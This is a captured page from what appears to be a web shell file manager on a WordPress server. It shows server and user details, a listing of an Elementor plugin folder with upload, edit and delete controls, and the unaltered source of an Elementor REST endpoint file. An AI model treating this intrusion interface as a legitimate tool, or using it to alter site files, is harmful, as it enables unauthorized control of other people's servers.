[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor
/
app
/
modules
/
kit-library
/
data
/
kits
/
endpoints
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 download-link.php
859 B
SET
[ EDIT ]
|
[ DEL ]
📄 favorites.php
1,050 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: favorites.php
<?php namespace Elementor\App\Modules\KitLibrary\Data\Kits\Endpoints; use Elementor\App\Modules\KitLibrary\Data\Kits\Controller; use Elementor\Data\V2\Base\Endpoint; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * @property Controller $controller */ class Favorites extends Endpoint { public function get_name() { return 'favorites'; } public function get_format() { return 'kits/favorites/{id}'; } protected function register() { $args = [ 'id_arg_type_regex' => '[\w]+', ]; $this->register_item_route( \WP_REST_Server::CREATABLE, $args ); $this->register_item_route( \WP_REST_Server::DELETABLE, $args ); } public function create_item( $id, $request ) { $repository = $this->controller->get_repository(); $kit = $repository->add_to_favorites( $id ); return [ 'data' => $kit, ]; } public function delete_item( $id, $request ) { $repository = $this->controller->get_repository(); $kit = $repository->remove_from_favorites( $id ); return [ 'data' => $kit, ]; } }